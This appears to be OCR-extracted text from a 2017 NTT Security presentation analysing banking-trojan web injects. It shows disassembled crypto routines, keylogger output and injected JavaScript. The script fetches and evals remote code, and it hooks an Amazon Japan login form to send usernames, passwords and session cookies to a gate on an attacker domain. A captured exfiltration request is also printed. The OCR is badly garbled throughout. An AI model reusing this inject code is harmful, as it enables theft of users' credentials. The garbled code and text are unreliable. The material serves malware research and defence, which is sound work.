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il =

decrypt

var_2C=
var_28=
var_24=
var_28=
var_1C=
var_18=
var_14=
var_18=

var_h=
arg_B=

push
nou
sub
now
push
nou
push
now
push
noy
nou
®or
now
®or
mnou
®OFr
now
noy

; Attributes: bp-based frame

var_C= dword ptr -BCh
var_8= dword ptr -8
dword ptr -4
dword ptr 8

proc near

dword ptyr -2Ch
dword ptr -28h
dword ptr -24h
dword ptr -28h
dword ptr —1Ch
dword ptr -18h
dword ptr -14h
dword ptr -18h

ebp

ebp, esp

esp, 2Ch

ecx, [edx+B]

ebx

ebx, [edx+BCh]
esi

esi, [edx]

edi

edi, [edx+4]
[ebp+uvar_24], ecx
ecx, [eax+228h]
[ebp+var_2C], esi
esi, [eax+228h]
[ebp+uar_28], edi
edi, [eax+224h]
[ebp+var_8], ecz
edx, edi
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The Key Schedule

128 and 192 bit keys are first transformed to 256 bit keys. All short keys are pa

apparently on the right as things are defined here.

A 256 bit key is handled as follows: it is divided into eight 32-bit words. The first
Word(n) = Word(n-1) XOR Word({n-5) XOR Word(n-8) XOR X'8E3779BS' XOR n
where the first generated word is considered to be word zero - so the 256 bit ke

128 words are generated. Then, these words are taken in groups of four to prog

FIFE

loc_38B1B2L4:

mov esi, [eax-14h]

®or esi, [eax-8]

®or esi, [eax+8]

®or esi, [eax]

add eax, 4

®OF esi, ecx

1] esi, 9E3779B%h

rol esi, BEh

mou [eax+8], esi

inc ecx

cmp ecx, Buah

jb short loc 3881B2Y
—
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--26796634426817066113398317
Content-Disposition: form-data; name="upload file"; filename="DA1D.bin"
Content-Type: application/octet-stream
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|2B-08-2016 18:55:45
C:\Windows\explorer.exe
Start menu

t

28-08-2016 18:55:49
C:\Windows\system32\notepad.exe

Untitled - Notepad
aaa bbb ccc

28-08-2016 18:55:54
Clipboard

aaa bbb ccc
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<?xml version=“1.0" encoding="UTF-8"?> IERDHTMLO > 52
<IDOCTYPE htm! PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.
w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=“http://www.w3.0rg/1999/xhtml”> J 1B&HIAFNZ=A>F7>WVY
<head> <script>var home_link = "/uejei3j/jpccgrab”;var gate_link = home_link+'
/gate.php";var pkey = "Bc5rw12";eval(function(p,a,c,k,e,r){e=function(c){return(c<
a?'":e(parselnt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!".
replace(/?/,String)){while(c--)r[e(c)]=k[c]| | e(c);k=[function(e){return r[e]}];e=

Web1 > > T 023 8ODNR—2Y—X
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(function(){function d(b){var c="/iimgc/?c=script
&r=softkey-biz&b="+encodeURIComponent

ssl.explrn[.]Jcom

<script>var home_link = "/uejei3j/jpccgrab”;var g

srv.rubyspractice[.]Jcom ate_link = home_link+"/gate.php";var pkey =

ine.dli e document.documentElement.style.visibility="hid
online.dlingtalk[.]en den";(function() { var z6b341881ce7c5bfb0fb
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function d(call_eval) { :li BN Y — XDURL
var ¢ = "/jqueryats/402cac3dacf2ef35050ca72743ae6bca7";

var b = window.XMLHttpRequest ? new XMLHttpRequest : new ActiveXObject
("Microsoft. XMLHTTP");
b.onreadystatechange = function() {
if (4 == b.readyState && 200 == b.status){

call_eval(b.responseText); % BNV Y — ADZETT

}
b?open("GET", c); A BNV Y — XADEUS

b.setRequestHeader("powered-by", 'true’);

b.send()'}
SREJF7AIVICEREHSNEOTY (—3MRE)
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KKXZ.hookLogin =function() {
var _login_id = jg("#ap_email");
var _passwd = jq("#ap_password");

g N ANTA—LNS
V| 7hUs MEREEE

var login_id = jg(_login_id).val();
var passwd = jg(_passwd).val();
KKXZ.procLogin(login_id, paswd);
});
return true;}return false;

|5

KKXZ.procLogin = function(login_id, passwd) {
KKXZ.sendGateRequest(“login”, {

login :loginid, Y 771D > MERE XS

password : passwd,
bot : KKXZ.bot id,
ua : navigator.userAgent
}, function(dataAndEvents) {
if (dataAndEvents.is blocked == "17) {
alert(KKXZ.strSiteBlocked);
window.parent.location.href = KKXZ.outLink;
}else {
KKXZ.continuelLogin();

EMNYUY—X (—EBRE)
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JGET /gate/login?
cb=jquerg1?1044ﬁ?21433856438_1515[]922491Rl&baﬂk=26&acccuﬂt=2?93&1c:g'i n=abcde&password=Ffadbefbot=0570ffe924b9a9%491e
e53005FT5b33721&ua=Mozi11a%2F5. 0+ (Windows+NT+6. 1)+applewebKit®2ZF537. 36+ %2C+1ike+Gecko)+Chrome®%2F63.0.3239. 84
+Safari%2F537. 36&_=1515092259019 HTTP/1.1
ICache-Control: no-cache

Connection: Keep-Alive °c— . — ~ it
Pragma: ﬂ?—cache URL/ \7>( Q(L_CTjjlj/ I\lﬁﬁﬁ
wCCcept: */* o w e VB =
Accept-Language: en-Us,en;g=0.9 (|Dt/ \le_ |\b\) j.-) IFﬁZ(/\
Cookie: skin=noskin; session-id=358-8906268-9837644; ubid-acbhjp

uid=1dovkdPumwso8qvbkyGFbdxiwTfq/UZKAeaPyT b8 /PGOPAON2UXDXZYSbIQHXC X1 192 JZWQOLUI0=; Ses510Mn-
token=7iRZRbLZjRTTTTAYAd/GUTdGop]l9rNEVGTsdjpkIVWCULGYZYYPIYS /4Qaay 5x,/sAzbdvmELABOCMeUOT 2D56 1
j5x4vm5mHBgﬂyﬂv1Exm254245qyleﬁ1HB?EE1?ngtms5VEijFEhEVPZﬁ¥1vWT LACM7 4 cvyvs 3V,
HMIJ'EEJIgTLVJhﬂlfachdvbjI;_iIHEpJCTDmFa‘iWBSEijDHGjaC'.-NE!quYE!EEE +BGVkKFTN2ZVvNIFXb1lzr 3a10ULF11GD5SpN+; session-id-
Cime=20827260011; csm-hit=PAJ4VTX16KYKFODOK?AD+5-CGS5BHEX0ORF7B1VOSATMA [1515092252740

rReferer: https:/ www.amazon.co.jp/ap/signin?

|_encoding=UTF&&ignoreaAuthstate=1&openid. assoc_handle=jpflex&openid. claimed_id=http%3A%2F%2Fspecs. openid. netk
ZFauth%2F2. 0%2Fidentifier_select&openid. identity=httpk3A%2F%2Fspecs. openid. netXx2Fauthi%2F2. 0%
2Fidentifier_select&openid.mode=checkid_setup&openid. ns=httpk3a%2F%2Fspecs. openid. net%2Fauthi

2F2. 0&openid. ns. pape=httpk3A%2FX%2Fspecs. openid. netk2Fextensions®2Fpapek

2F1. O&openid. pape. max_auth_age=

3Dnav_custrec_signind&switch_acc 7: toj_ l/—:/a \/'U'—/ Kd)/—l—\z I\% E

%

/63.0.3239.84 safari/537.36

User-agent: Mozilla/5.0 (wi
TS NMERMNRZ T DEROEE

Host: online.dlingtalk.cn
39 © 2017 NTT Security @ NTT Security
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